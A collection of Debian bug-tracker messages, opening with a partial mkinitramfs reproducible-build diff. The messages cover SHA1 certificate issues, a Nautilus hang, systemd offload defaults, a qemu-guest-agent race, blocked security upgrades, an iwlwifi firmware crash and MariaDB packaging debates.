@@ -332,7 +333,7 @@ rm -f "${DESTDIR}/lib/modules/${version}"/modules.*map
 
 # make sure that library search path is up to date
 cp -ar /etc/ld.so.conf* "$DESTDIR"/etc/
-if ! ldconfig -r "$DESTDIR" ; then
+if ! ldconfig -X -N -r "$DESTDIR" ; then
 	[ $(id -u) != "0" ] \
 	&& echo "ldconfig might need uid=0 (root) for chroot()" >&2
 fi
@@ -372,8 +373,18 @@ fi
 # preserve permissions if root builds the image, see #633582
 [ "$(id -ru)" != 0 ] && cpio_owner_root="-R 0:0"
 
+# if SOURCE_DATE_EPOCH is set, try and create a reproducible image
+if [ -n "${SOURCE_DATE_EPOCH}" ]; then
+	# ensure that no timestamps are newer than $SOURCE_DATE_EPOCH
+	find "${DESTDIR}" -newermt "@${SOURCE_DATE_EPOCH}" -print0 | \
+		xargs -0r touch --no-dereference --date="@${SOURCE_DATE_EPOCH}"
+
+	# --reproducible requires cpio >= 2.12
+	cpio_reproducible="--reproducible"
+fi
+
 # work around lack of "set -o pipefail" for the following pipe:
-# cd "${DESTDIR}" && find . | cpio --quiet $cpio_owner_root -o -H newc | gzip >>"${outfile}" || exit 1
+# cd "${DESTDIR}" && find . | LC_ALL=C sort | cpio --quiet $cpio_owner_root $cpio_reproducible -o -H newc | gzip >>"${outfile}" || exit 1
 exec 3>&1
 eval `
 	# http://cfaj.freeshell.org/shell/cus-faq-2.html
@@ -382,7 +393,9 @@ eval `
 	{
 		find . 4>&-; echo "ec1=$?;" >&4
 	} | {
-		cpio --quiet $cpio_owner_root -o -H newc 4>&-; echo "ec2=$?;" >&4
+		LC_ALL=C sort
+	} | {
+		cpio --quiet $cpio_owner_root $cpio_reproducible -o -H newc 4>&-; echo "ec2=$?;" >&4
 	} | ${compress} >>"${outfile}"
 	echo "ec3=$?;" >&4
 `
diff --git a/mkinitramfs.8 b/mkinitramfs.8
index 4c8bae5..b61fdeb 100644
--- a/mkinitramfs.8
+++ b/mkinitramfs.8
@@ -105,6 +105,12 @@ should not be mounted with the
 .B noexec
 mount option.
 
+If
+.B SOURCE_DATE_EPOCH
+is set,
+.B mkinitramfs
+attempts to generate a reproducible ramdisk.
+
 .SH FILES
 .TP
 .I /etc/initramfs-tools/initramfs.conf

Bug#870497: [pkg-gnupg-maint] Bug#870497: dirmngr: SKS keyserver network CA certificate uses SHA1 for the fingerprint

[Kristian Fiskerstrand]

On 08/02/2017 06:52 PM, Daniel Kahn Gillmor wrote:
> I agree with you that this is bad practice, but it doesn't actually
> matter for root certificates.  For a root certificate, what matters is
> the public key in question, not how it's signed.
> 
> That said, it would be nice to have a re-generated root certificate that
> uses a modern signing algorithm just to avoid anyone worrying about it
> (or some toolkit being overly-strict and deciding to not accept it).
> 
> I've cc'ed the upstream maintainer of that CA, Kristian Fiskerstrand, to
> see whether he's willing to issue an updated root cert with the same key
> material but using a modern signing algorithm.

It doesn't have security relevance, so I won't do anything with the CA
pubkey. The certificates issued have been sha256 for a while, and the
rollover CA cert will be, though.

-- 

Kristian Fiskerstrand
Blog: https://blog.sumptuouscapital.com
Twitter: @krifisk

Public OpenPGP keyblock at hkp://pool.sks-keyservers.net
fpr:94CB AFDD 3034 5109 5618 35AA 0B7F 8B60 E3ED FAE3

"Money is better than poverty, if only for financial reasons."
(Woody Allen)



signature.asc
Description: OpenPGP digital signature

Bug#875457: [debian-mysql] Bug#875457: mariadb-server-10.1: Only supports certificates signed with SHA1 which is insecure

[Kristian Kocher]

On 11/09/17 15:37, Ondřej Surý wrote:
> Hi Kristian,
>
> could you please be more specific? What did you try, what works and
> what doesn't. Any error messages you get, and the exact configuration
> would also be helpful. 
>
> Ondřej 
>
> On Mon 11 Sep 2017, 16:21 Kristian Kocher <kristian.koc...@it.ox.ac.uk
> <mailto:kristian.koc...@it.ox.ac.uk>> wrote:
>
> Package: mariadb-server-10.1
> Version: 10.1.26-0+deb9u1
> Severity: important
>
> Dear Maintainer,
>
> At the moment it is only possible to have encrypted communications
> using certificates signed with SHA1 but this is considered insecure.
>
> Kind regards,
>
> Kristian
>
> ___
> pkg-mysql-maint mailing list
> pkg-mysql-ma...@lists.alioth.debian.org
> <mailto:pkg-mysql-ma...@lists.alioth.debian.org>
> http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/pkg-mysql-maint
>
> -- 
> Ondřej Surý <ond...@sury.org <mailto:ond...@sury.org>>
> Knot DNS (https://www.knot-dns.cz/) – a high-performance DNS server
> Knot Resolver (https://www.knot-resolver.cz/) – secure, privacy-aware,
> fast DNS(SEC) resolver
> Vše pro chleba (https://vseprochleba.cz) – Mouky ze mlýna a potřeby
> pro pečení chleba všeho druhu
Hi Ondřej,

Thank you for looking into this.
I have tried using a certificate from a real CA that signs certificates
with SHA256, but clients could not connect using ssl (the error message
was: ERROR 2026 (HY000): SSL connection error: protocol version mismatch).
Without changing the config, but just using a self signed certificate
signed using SHA1 everything works fine.

It looks like it might be the version of YaSSL used in the package does
not support SHA256.

Kind regards,

Kristian



signature.asc
Description: OpenPGP digital signature

Bug#875457: mariadb-server-10.1: Only supports certificates signed with SHA1 which is insecure

[Kristian Kocher]

Package: mariadb-server-10.1
Version: 10.1.26-0+deb9u1
Severity: important

Dear Maintainer,

At the moment it is only possible to have encrypted communications using 
certificates signed with SHA1 but this is considered insecure.

Kind regards,

Kristian

Bug#602727: Bug #602727 still valid for Debian 9

[Kristian Kissling]

Package: nautilus
Version: 3.22.3-1
Followup-For: Bug #602727

Dear Maintainer,



   * What led up to the situation?

I mount several shares via SFTP. After a Suspend2Ram Nautilus starts to
hang for several minutes. That is reproducible.

   * What exactly did you do (or not do) that was effective (or
 ineffective)?

First I tried to kill the process via the graphical window that Gnome
presents if an application hangs. Then I tried "kill -9 ". With
"ps" I found out that Nautilus is in TASK_INTERRUPTIBLE state (D).

   * What was the outcome of this action?

No outcome. After a few minutes waiting, Nautilus finally quit itself.
If I don't have time to wait that long, I have to reboot the system.

   * What outcome did you expect instead?

At least a shorter period of time for Nautilus to kill itself. Or a
TASK_KILLABLE approach for Nautilus: https://lwn.net/Articles/288056/


-- System Information:
Debian Release: 9.0
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.9.0-2-amd64 (SMP w/4 CPU cores)
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8),
LANGUAGE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages nautilus depends on:
ii  desktop-file-utils 0.23-1
ii  gsettings-desktop-schemas  3.22.0-1
ii  gvfs   1.30.4-1
ii  libatk1.0-02.22.0-1
ii  libc6  2.24-11
ii  libcairo-gobject2  1.14.8-1
ii  libcairo2  1.14.8-1
ii  libexempi3 2.4.1-1
ii  libexif12  0.6.21-2+b2
ii  libgail-3-03.22.11-1
ii  libgdk-pixbuf2.0-0 2.36.5-2
ii  libglib2.0-0   2.50.3-2
ii  libglib2.0-data2.50.3-2
ii  libgnome-autoar-0-00.1.1-4+b1
ii  libgnome-desktop-3-12  3.22.2-1
ii  libgtk-3-0 3.22.11-1
ii  libnautilus-extension1a3.22.3-1
ii  libpango-1.0-0 1.40.5-1
ii  libselinux12.6-3+b1
ii  libtracker-sparql-1.0-01.10.5-1
ii  libx11-6   2:1.6.4-3
ii  nautilus-data  3.22.3-1
ii  shared-mime-info   1.8-1

Versions of packages nautilus recommends:
ii  gnome-sushi  3.21.91-2
ii  gvfs-backends1.30.4-1
ii  librsvg2-common  2.40.16-1+b1

Versions of packages nautilus suggests:
ii  brasero  3.12.1-4
ii  eog  3.20.5-1+b1
ii  evince [pdf-viewer]  3.22.1-3
ii  nautilus-sendto  3.8.4-2+b1
ii  totem3.22.1-1
ii  tracker  1.10.5-1
ii  vlc [mp3-decoder]2.2.6-1~deb9u1
ii  xdg-user-dirs0.15-2+b1

-- no debconf information

Bug#864073: TCP offloads disabled by default

[Hans-Kristian Bakke]

Package: systemd
Version: 232-23
​Severity: important​

With systemd 232 it got the ability to set the NIC offloads. These offloads
are not initialized correctly though, so the NIC ends up without fully
enabled TCP offloads.

Example from stretch defaults:
...
tcp-segmentation-offload: on
tx-tcp-segmentation: off < ???
tx-tcp-ecn-segmentation: off [fixed]
tx-tcp-mangleid-segmentation: off
tx-tcp6-segmentation: on
udp-fragmentation-offload: off [fixed]
generic-segmentation-offload: on
...

If I do the following (default in 231 and earlier):

  ethtool -K  tx-tcp-segmentation on

I get the correct version
...
tcp-segmentation-offload: on
tx-tcp-segmentation: on
tx-tcp-ecn-segmentation: off [fixed]
tx-tcp-mangleid-segmentation: off
tx-tcp6-segmentation: on
udp-fragmentation-offload: off [fixed]
generic-segmentation-offload: on
...

This causes major performance issues in high speed networks (1Gbit/s and
higher) or in weak embedded devices and it is going to be (by accident) the
default in Stretch!

Luckily the fix is already in 233 and it is only a simple one liner that I
really think should be patched into Stretch to avoid people getting hard to
diagnose distro specific performance issues when going from jessie to
stretch or coming from other distros.

Some links with info:
* https://github.com/systemd/systemd/issues/4650
* https://github.com/systemd/systemd/pull/4639
* https://sourceforge.net/p/e1000/mailman/message/35663858/

Regards,
Hans-Kristian Bakke

Bug#860274: This hit me to

[Hans-Kristian Bakke]

I just want to say that this hit my Stretch setup by surprise today after
rebooting also. Basically this is the default setup with dnsmasq so the
package is basically broken in Stretch at the moment. Any chance that this
will be fixed before Stretch goes stable?

Regards,
Hans-Kristian

Bug#860240: qemu-ga: transport endpoint not found during boot. Race condition?

[Hans-Kristian Bakke]

Package: qemu-guest-agent
Version: 1:2.1+dfsg-12+deb8u6
Severity: important

On Jessie I noticed that several of my Proxmox backups was hanging forever
on Jessie VMs with
qemu guest agent enabled, while my Stretch VMs are OK.

Upon further inspection, backups (or actually fs freeze), do not work until
after restarting
qemu-guest-agent.

This is from the systemd journal after boot. Note the "transport endpoint
not found" warning.

Apr 12 16:26:32 cns-2 systemd[1]: Starting LSB: QEMU Guest Agent startup
script...
Apr 12 16:26:32 cns-2 qemu-guest-agent[1126]: qemu-ga: transport endpoint
not found, not starting ... (warning).
Apr 12 16:26:32 cns-2 systemd[1]: Started LSB: QEMU Guest Agent startup
script.


Apr 12 16:26:32 cns-2 systemd[1]: Starting LSB: QEMU Guest Agent startup
script...
-- Subject: Unit qemu-guest-agent.service has begun start-up
-- Defined-By: systemd
-- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel
--
-- Unit qemu-guest-agent.service has begun starting up.
Apr 12 16:26:32 cns-2 qemu-guest-agent[1126]: qemu-ga: transport endpoint
not found, not starting ... (warning).
Apr 12 16:26:32 cns-2 systemd[1]: Started LSB: QEMU Guest Agent startup
script.
-- Subject: Unit qemu-guest-agent.service has finished start-up
-- Defined-By: systemd
-- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel
--
-- Unit qemu-guest-agent.service has finished starting up.
--
-- The start-up result is done.


During boot what happens seems to be that
/dev/virtio-ports/org.qemu.guest_agent.0 is not available although it
always is when I check after boot, which of course makes the error
disappear when I restart qemu-guest-agent later.

A simple "sleep 1" in /etc/default/qemu-guest-agent as a ugly hack solves
the issue, so there seems to be some kind of race condition during boot,
with possible a dependency of virtio-serial device that should be
added somewhere
during the boot process.

Although Stretch seems to have no issues I do not know if this is by design
or just that the race condition happens to end differently most of the time.

I have tried with kernel and qemu-guest-agent (1:2.8+dfsg-3~bpo8+1) from
jessie-backports, but the issue persists.

I marked the issue important as a non-functioning qemu guest agent when
enabled for the VM actually in an unreliable way not only prevents, but
also in some cases locks Jessie VMs, preventing further operations on
platforms like Proxmox in common scenarios like doing backups or snapshots,
and the VMs also do not shutdown when guest agent enabled VMs are told to
shutdown which again causes the operation to hang or time out often ending
with a hard stop with possible corrupt data to follow.

Bug#833819: n2n: please make the build reproducible

[kristian . paul]

Pong 

Cristian Paul 

El 23/03/2017, a las 15:44, Chris Lamb  escribió:

>> Would you consider applying this patch and uploading?
> 
> Friendly ping on this :)
> 
> 
> Best wishes,
> 
> -- 
>  ,''`.
> : :'  : Chris Lamb
> `. `'`  la...@debian.org / chris-lamb.co.uk
>   `-

Bug#854004: Sv: Bug#854004: live-config: keyboard configuration in live-build image now working

[Kristian Klausen]

Hello

Please see https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=818065
One way to fix it, is adding /etc/default/keyboard and running the 
console-setup.sh in hook (theory, I haven't tested it).

Regards Kristian Klausen




Fra: sp113438 <sp113...@telfort.nl>
Sendt: 3. februar 2017 01:46
Til: debian-l...@lists.debian.org
Cc: Dieter Scholz; 854...@bugs.debian.org
Emne: Bug#854004: live-config: keyboard configuration in live-build image now 
working
    
On Thu, 02 Feb 2017 23:49:15 +0100
Dieter Scholz <rd-d...@gmx.net> wrote:

Hello,

keyboard-layouts=de ?
keyboard-layout=de
perhaps, just a guess?

greetings

> Package: live-config
> Version: 5.20170112
> Severity: normal
> Tags: l10n
> 
> Hello,
> 
> I tried to build a customized live image with live-build. To
> configure my keyboard I'm using the following boot append options:
> 
> locales=de_DE.UTF-8 timezone=Europe/Berlin keyboard-model=pc105
> keyboard-layouts=de
> 
> I found these options in the man page.
> 
> They have no effect when I boot my CD. If I execute
> 
> dpkg-reconfigure -f noninteractive console-tools
> 
> my keyboard is working. I additionally booted a stock live CDs using
> the above params - without success either. So I think it's a bug.
> 
> Kind regards
> 
> Dieter
> 
> -- System Information:
> Debian Release: 9.0
>   APT prefers testing
>   APT policy: (500, 'testing')
> Architecture: amd64 (x86_64)
> 
> Kernel: Linux 4.9.0-1-amd64 (SMP w/1 CPU core)
> Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8)
> Shell: /bin/sh linked to /usr/bin/dash
> Init: systemd (via /run/systemd/system)
> 
> Versions of packages live-config depends on:
> ii  live-config-systemd [live-config-backend]  5.20170112
> 
> Versions of packages live-config recommends:
> ii  iproute2    4.9.0-1
> ii  keyboard-configuration  1.158
> ii  live-config-doc 5.20170112
> ii  live-tools  1:20151214+nmu1
> ii  locales 2.24-8
> ii  sudo    1.8.19p1-1
> ii  user-setup  1.67
> 
> Versions of packages live-config suggests:
> ii  pciutils  1:3.5.2-1
> ii  wget  1.18-4
> 
> -- no debconf information
> 

Bug#714745:

[Kristian Erik Hermansen]

can confirm this bug in debian stretch still exists.

the bug is more broad than the description provided by the original
poster. in appears that ANY package that is a dependency of a package
to be upgraded can block the security update of the parent package. as
such, the package continues to remain vulnerable and exploitable.

https://security-tracker.debian.org/tracker/CVE-2017-5019

notice that stretch and sid are still vulnerable. the fix has only
been deployed to stable (as a side note, this is also one example of
why you SHOULD NOT be running testing or sid as you main distro, as
Micah Lee, famed Snowden journalist, does and can be targeted as such
because fixes go into stable, sometimes long before sid and testing).
so, i wouldn't recommend a "YOLO" approach to running debian sid as
your main distro [1] exactly for that reason. if you are running
testing or sid, here is a snapshot of the updated packages as of today
showing that you are still vulnerable. similar problems apply to other
more important packages, like libc, openssl, kernels, etc.

jessie (security) 56.0.2924.76-1~deb8u1 fixed
stretch 55.0.2883.75-3 vulnerable
sid 55.0.2883.75-6 vulnerable

anyway, this is also a great confirmation of the bug because the
chromium update is blocked on libpng12-0, which is required for the
update to proceed.

$ apt-cache policy chromium
chromium:
  Installed: 55.0.2883.75-3
  Candidate: 56.0.2924.76-1~deb8u1
  Version table:
 56.0.2924.76-1~deb8u1 500
500 https://deb.debian.org/debian-security stable/updates/main
amd64 Packages
...

$ cat /etc/apt/apt.conf.d/50unattended-upgrades | egrep -i security
"label=Debian-Security";

$ apt list --upgradable
Listing... Done
chromium/stable 56.0.2924.76-1~deb8u1 amd64 [upgradable from: 55.0.2883.75-3]
...

$ sudo unattended-upgrade -d --dry-run
...
Starting unattended upgrades script
Allowed origins are: ['label=Debian-Security']
Checking: chromium ([])
pkg 'libpng12-0' not in allowed origin
sanity check failed

see above the the update to chromium is blocked on libpng12-0, which
was not required in the prior release

$ msg="Requires libpgn12-0?:"; apt show chromium=55.0.2883.75-3
2>/dev/null | egrep -q libpng12-0; if [[ $? -eq 0 ]]; then echo
"${msg} YES"; else echo "${msg} NO"; fi
Requires libpgn12-0?: NO

$ msg="Requires libpgn12-0?:"; apt show chromium=56.0.2924.76-1~deb8u1
2>/dev/null | egrep -q libpng12-0; if [[ $? -eq 0 ]]; then echo
"${msg} YES"; else echo "${msg} NO"; fi
Requires libpgn12-0?: YES

why is it such a big deal? because "yolo"s get pwned, so stay safe...

[$8837][671102] High CVE-2017-5007: Universal XSS in Blink. Credit to
Mariusz Mlynski
[$8000][673170] High CVE-2017-5006: Universal XSS in Blink. Credit to
Mariusz Mlynski
[$8000][668552] High CVE-2017-5008: Universal XSS in Blink. Credit to
Mariusz Mlynski
[$7500][663476] High CVE-2017-5010: Universal XSS in Blink. Credit to
Mariusz Mlynski
[$3000][662859] High CVE-2017-5011: Unauthorised file access in
Devtools. Credit to Khalil Zhani
[$3000][667504] High CVE-2017-5009: Out of bounds memory access in
WebRTC. Credit to Sean Stanek and Chip Bradford
[$5500][681843] High CVE-2017-5012: Heap overflow in V8. Credit to
Gergely Nagy (Tresorit)
[$2000][677716] Medium CVE-2017-5013: Address spoofing in Omnibox.
Credit to Haosheng Wang (@gnehsoah)
[$2000][675332] Medium CVE-2017-5014: Heap overflow in Skia. Credit to sweetchip
[$2000][673971] Medium CVE-2017-5015: Address spoofing in Omnibox.
Credit to Armin Razmdjou
[$2000][666714] Medium CVE-2017-5019: Use after free in Renderer.
Credit to Wadih Matar
[$1000][673163] Medium CVE-2017-5016: UI spoofing in Blink. Credit to
Haosheng Wang (@gnehsoah)
[$500][676975] Medium CVE-2017-5017: Uninitialised memory access in
webm video. Credit to danberm
[$500][668665] Medium CVE-2017-5018: Universal XSS in chrome://apps.
Credit to Rob Wu
[$TBD][668653] Medium CVE-2017-5020: Universal XSS in
chrome://downloads. Credit to Rob Wu
[$N/A][663726] Low CVE-2017-5021: Use after free in Extensions. Credit to Rob Wu
[$N/A][663620] Low CVE-2017-5022: Bypass of Content Security Policy in
Blink. Credit to 李普君 of 无声信息技术PKAV Team
[$N/A][651443] Low CVE-2017-5023: Type confusion in metrics. Credit to
the UK's National Cyber Security Centre (NCSC)
[$N/A][643951] Low CVE-2017-5024: Heap overflow in FFmpeg. Credit to Paul Mehta
[$N/A][643950] Low CVE-2017-5025: Heap overflow in FFmpeg. Credit to Paul Mehta
[$500][634108] Low CVE-2017-5026: UI spoofing. Credit to Ronni Skansing

[1] https://micahflee.com/2016/01/debian-grsecurity/

Bug#849330: Info received ()

[Kristian Erik Hermansen]

also affects kernel 4.9.

1768 /*
1769  * allocate dram shared table, it is an aligned memory
1770  * block of ICT_SIZE.
1771  * also reset all data related to ICT table interrupt.
1772  */
1773 int iwl_pcie_alloc_ict(struct iwl_trans *trans)
1774 {
1775 struct iwl_trans_pcie *trans_pcie = IWL_TRANS_GET_PCIE_TRANS(trans);
1776
1777 trans_pcie->ict_tbl =
1778 dma_zalloc_coherent(trans->dev, ICT_SIZE,
1779   _pcie->ict_tbl_dma,
1780   GFP_KERNEL);
1781 if (!trans_pcie->ict_tbl)
1782 return -ENOMEM;
1783
1784 /* just an API sanity check ... it is guaranteed to be aligned */
1785 if (WARN_ON(trans_pcie->ict_tbl_dma & (ICT_SIZE - 1))) {
1786 iwl_pcie_free_ict(trans);
1787 return -EINVAL;
1788 }
1789
1790 return 0;
1791 }

the bug appears at:

1784 /* just an API sanity check ... it is guaranteed to be aligned */

so in fact it does NOT appear to be "guaranteed to be aligned". the
assumption may be wrong

some other debug / error data:

[ 3564.850843] iwlwifi: unknown parameter 'mac80211' ignored
...
[ 3574.279039] thermal thermal_zone2: failed to read out thermal zone (-5)
...
[ 3578.745673] iwlwifi :03:00.0: Microcode SW error detected.
Restarting 0x200.
...
[ 3578.746307]   8b928b84 8d4e937a0018
a88b070cf400
[ 3578.746309]  c0ad296d 8d4e 8d4e92c570c0
8b6b8ca0
[ 3578.746310]  a88b070cf390 a88b070cf390 c3fd1710
a88b070cf400
[ 3578.746312] Call Trace:
[ 3578.746315]  [] ? dump_stack+0x5c/0x78
[ 3578.746320]  [] ?
iwl_trans_pcie_send_hcmd+0x3cd/0x4e0 [iwlwifi]
[ 3578.746322]  [] ? prepare_to_wait_event+0xf0/0xf0
[ 3578.746327]  [] ? iwl_mvm_send_cmd+0x23/0x80 [iwlmvm]
[ 3578.746330]  [] ? iwl_mvm_send_cmd_pdu+0x4f/0x70 [iwlmvm]
[ 3578.746332]  [] ?
iwl_send_paging_cmd.isra.16+0xf4/0x120 [iwlmvm]
[ 3578.746334]  [] ?
iwl_mvm_load_ucode_wait_alive+0x641/0x7a0 [iwlmvm]
[ 3578.746335]  [] ? 0xc0f41000
[ 3578.746338]  [] ?
iwl_trans_pcie_start_hw+0xf2/0x2d0 [iwlwifi]
[ 3578.746340]  [] ? iwl_mvm_up+0x12b/0x5f0 [iwlmvm]
[ 3578.746342]  [] ? skb_dequeue+0x52/0x60
[ 3578.746344]  [] ? wireless_nlevent_flush+0x4f/0x90
[ 3578.746359]  [] ? __iwl_mvm_mac_start+0x207/0x310 [iwlmvm]
[ 3578.746361]  [] ? update_sd_lb_stats+0xe6/0x4b0
[ 3578.746363]  [] ? iwl_mvm_mac_start+0x46/0x110 [iwlmvm]
[ 3578.746374]  [] ? drv_start+0x3a/0xf0 [mac80211]
[ 3578.746381]  [] ? ieee80211_do_open+0x295/0x980 [mac80211]
[ 3578.746389]  [] ?
ieee80211_check_concurrent_iface+0x11a/0x1e0 [mac80211]
[ 3578.746391]  [] ? __dev_open+0xc2/0x140
[ 3578.746393]  [] ? __dev_change_flags+0x96/0x150
[ 3578.746394]  [] ? dev_change_flags+0x23/0x60
[ 3578.746395]  [] ? do_setlink+0x30e/0xd20
[ 3578.746397]  [] ? __nla_reserve+0x38/0x50
[ 3578.746398]  [] ? __nla_put+0xc/0x20
[ 3578.746399]  [] ? inet6_fill_ifla6_attrs+0x416/0x430
[ 3578.746401]  [] ? inet6_fill_link_af+0x16/0x30
[ 3578.746402]  [] ? rtnl_fill_ifinfo+0xac2/0xf50
[ 3578.746403]  [] ? rtnl_newlink+0x5c6/0x870
[ 3578.746404]  [] ? __netlink_sendskb+0x38/0x60
[ 3578.746406]  [] ? fib6_clean_node+0x85/0x170
[ 3578.746408]  [] ? security_capable+0x41/0x60
[ 3578.746409]  [] ? rtnetlink_rcv_msg+0xe1/0x220
[ 3578.746410]  [] ? rtnl_newlink+0x870/0x870
[ 3578.746412]  [] ? netlink_rcv_skb+0xa1/0xc0
[ 3578.746413]  [] ? rtnetlink_rcv+0x24/0x30
[ 3578.746414]  [] ? netlink_unicast+0x184/0x230
[ 3578.746415]  [] ? netlink_sendmsg+0x2f8/0x3b0
[ 3578.746416]  [] ? sock_sendmsg+0x30/0x40
[ 3578.746417]  [] ? ___sys_sendmsg+0x2c2/0x2d0
[ 3578.746419]  [] ? proc_get_long.constprop.13+0x11d/0x1b0
[ 3578.746420]  [] ? __do_proc_dointvec+0x33d/0x400
[ 3578.746421]  [] ? do_proc_douintvec_conv+0x30/0x30
[ 3578.746422]  [] ? __do_proc_dointvec+0x33d/0x400
[ 3578.746424]  [] ? lockref_put_or_lock+0x5a/0x80
[ 3578.746425]  [] ? dput+0x175/0x250
[ 3578.746426]  [] ? __sys_sendmsg+0x51/0x90
[ 3578.746428]  [] ? system_call_fast_compare_end+0xc/0x9b
...

[ 3579.369654] WARNING: CPU: 5 PID: 6215 at
/build/linux-fgnWKv/linux-4.9.2/drivers/net/wireless/intel/iwlwifi/pcie/rx.c:1784
iwl_pcie_alloc_ict+0xde/0x100 [iwlwifi]

Bug#849330:

[Kristian Erik Hermansen]

can confirm this bug.

removing 8000-C ucode 22 firmware stub works. before removing, you
will get errors 99% of the time upon driver load similar to below:

"pcie/rx.c iwl_pcie_alloc_ict"

"iwlwifi: probe of" "failed with error -22"

in rx.c in function iwl_pcie_alloc_ict around line ~1700 (1747?)

could be a memory alignment issue with zalloc upon loading the newer
(broken) firmware for the 8260 (rev3a)?

just some thoughts

again, to reiterate the temporary workaround, just:

$ sudo rm /lib/firmware/iwlwifi-8000C-22.ucode

and then ensure this gets fixed upstream in iwlwifi-8000C-22.ucode
before installing any firmware-iwlwifi updates or hold the package:

$ sudo apt-mark hold firmware-iwlwifi

remove the hold if / when it gets fixed in debian later:

$ sudo apt-mark unhold firmware-iwlwifi

Bug#852495: [debian-mysql] Bug#852495: Bug#852495: mariadb-server-10.[01]: purging old mariadb-server shuts down mariadb-server and removes init.d links

[Kristian Nielsen]

Otto Kekäläinen <o...@debian.org> writes:

> Tags: unreproducible
>
> 2017-01-25 0:21 GMT+02:00 Julian Gilbey <j...@debian.org>:
>> After upgrading to 10.1 from 10.0, I purged the old
>> mariadb-server-10.0 package, but this had two quite unpleasant
>> effects: it shut down the server and it removed the init.d links.
>> This is because:
>
> I was not able to reproduce this. The 10.1 packages conflict the 10.0
> packages, so it is not possible to have them installed at the same
> time, and thus end up in a situation where you would remove the 10.0
> packages while 10.1 is already installed.

Note the wording "purge". I'm guessing that the 10.0 package was removed
(but not purged). And that a later purge step of the already-removed package
caused the observed behaviour.

So to try to reproduce you could just apt-get remove mariadb-server-10.0 (or
apt-get install mariadb-server 10.1 without --purge option). And then
afterwards try apt-get purge mariadb-server-10.0.

 - Kristian.

Bug#848287: [debian-mysql] Fwd: osmalchemy is marked for autoremoval from testing

[Kristian Nielsen]

Otto Kekäläinen <o...@debian.org> writes:

> On a quick look the solution suggested by Kristian looks OK. I will
> eventually do something to implement and test it, but if somebody has
> time to do it right now and send me a git merge request (or Github
> pull request) then things would progress much faster.

http://lists.askmonty.org/pipermail/commits/2017-January/010425.html

This adds mysql_install_db --auth-root-socket option that
mariadb-10.1-server.postinst can use instead of patching
mysql_system_tables_data.sql and breaking mysql_install_db for others.

I will try to get Monty to review this today so I can push it upstream.

With this patch, you should be able to remove
debian/patches/mdev-8375-passwordless-root-via-socket-auth.patch and just
use the --auth-root-socket option on mysql_install_db instead.

> The purpose of this change is to get everybody to impove their
> security and move to using new passwordless practices. Are we now sure
> there is no way to change mysql-ruby2 to utilize socket auth, or
> create a test user that has no plugin defined, or something else?

With the above patch, applications can use eg.
mysql_install_db --auth-root-socket=$USER to install a private instance with
socket-based root access by non-privileged user.

However, note that the new socket authentication for the root user is not
necessary to securely setup a private server instance. For example, using
--skip-networking and making the server socket accessible only by the
running user; that should be the same, security wise.

 - Kristian.

Bug#848287: [debian-mysql] Fwd: osmalchemy is marked for autoremoval from testing

[Kristian Nielsen]

"Norvald H. Ryeng" <norvald.ry...@oracle.com> writes:

> On Thu, 12 Jan 2017 13:16:32 +0100
> Dominik George <n...@naturalnet.de> wrote:

>> This package does not require Oracle's MySQL, it requires a root user
>> that can authenticate to the database and use it in its entirety, a
>> feature which was deliberately broken in mariadb.

> The MySQL maintainers have never claimed that MariaDB is a drop-in
> replacement for MySQL. We have argued that it isn't.

If I understand the issue here, this is nothing to do with MariaDB being or
not being a drop-in for MySQL. The problem seems to be this patch in the
Debian packaging:

  
https://github.com/ottok/mariadb-10.1/blob/master/debian/patches/mdev-8375-passwordless-root-via-socket-auth.patch

The idea is to make the default install of package mariadb-server-10.1 use
socket authentication for the root user, which seems fine. But the patch
seems completely wrong. Rather than adding needed functionality to enable
postinst to setup socket auth, instead it hardcodes this decision into
mysql_install_db, which breaks other users.

So it has nothing to do with MySQL vs. MariaDB, such patch could just as
well have been made against MySQL packaging, with same bad consequences. It
is simply a bug / unintended consequence of an addition to debian/patches/,
and simply needs to be fixed. Feel free to correct me if I'm wrong?

Suggestion for fixing: Add options --auth-root-socket and
--auth-root-nopasswd to mysql_install_db. Echo a corresponding
"SET @auth_root_socket=1" or "SET @auth_root_nopasswd=1" down the
mysqld_install_cmd_line pipe. Then in mysql_system_tables_data.sql choose
one or the other contents for the user table like this:

  REPLACE INTO tmp_user_nopasswd ...
  INSERT INTO tmp_user_socket ...
  INSERT INTO user SELECT * FROM tmp_user_nopasswd WHERE @had_user_table=0 and 
@auth_root_nopasswd=1;
  INSERT INTO user SELECT * FROM tmp_user_socket WHERE @had_user_table=0 and 
@auth_root_socket=1;

This way, mariadb-server-10.1 postinst can use
mysql_install_db --auth-root-socket. And ruby-mysql2 can use
mysql_install_db --auth-root-nopasswd. And if --auth-root-nopasswd is made
the default, then existing users can work fine without any changes.
Sounds reasonable?

> The transition is being executed by the release team and the MariaDB
> maintainers. Please keep the MySQL maintainers out of it. Our packages
> are being removed from stretch against our will, and despite our
> huge effort to make MySQL and MariaDB coexist and our efforts to
> fulfill all demands from the release and security teams.

That's ridiculous. MySQL upstream has for years been deliberately forging
the git repo, removing information about security fixes. The mysql test
suite is an integrated part of the source, and stripping part of it in
source releases is completely anti-free software. Knowing Debian's strong
position on Free Software, no-one can possibly be surprised that this is met
with strong resistance, and a search for alternatives.

It can be discussed whether this practice crosses the line between free or
non-free, or not. But pretending that nothing is wrong from the MySQL side
and that the release/security teams are just being unreasonable, it just
makes you look untrustworthy.

Hope this helps,

 - Kristian.

Bug#818065: Sv: Bug#818065: console-setup is not read correctly at boottime and must be started manually

[Kristian Klausen]

Hello Anton

> Yes, in this case setupcon is never run from console-setup.sh.  However 
> there is no need to use setupcon in order to configure the font because 
> this is done by /lib/udev/rules.d/90-console-setup.rules and the 
> keyboard is configured by /lib/systemd/system/keyboard-setup.service.
keyboard-setup.service doesn't seems to configure the layout, rerunning it 
change nothing but as soon I rerun console-setup.service the layout is fixed.

> How big is is this image?  Will it be possible to send it to me so I can 
> test?
Around ~ 700MB, but I need to strip a few thing out before I can share it. I'm 
properly just gonna upload it to my webserver.

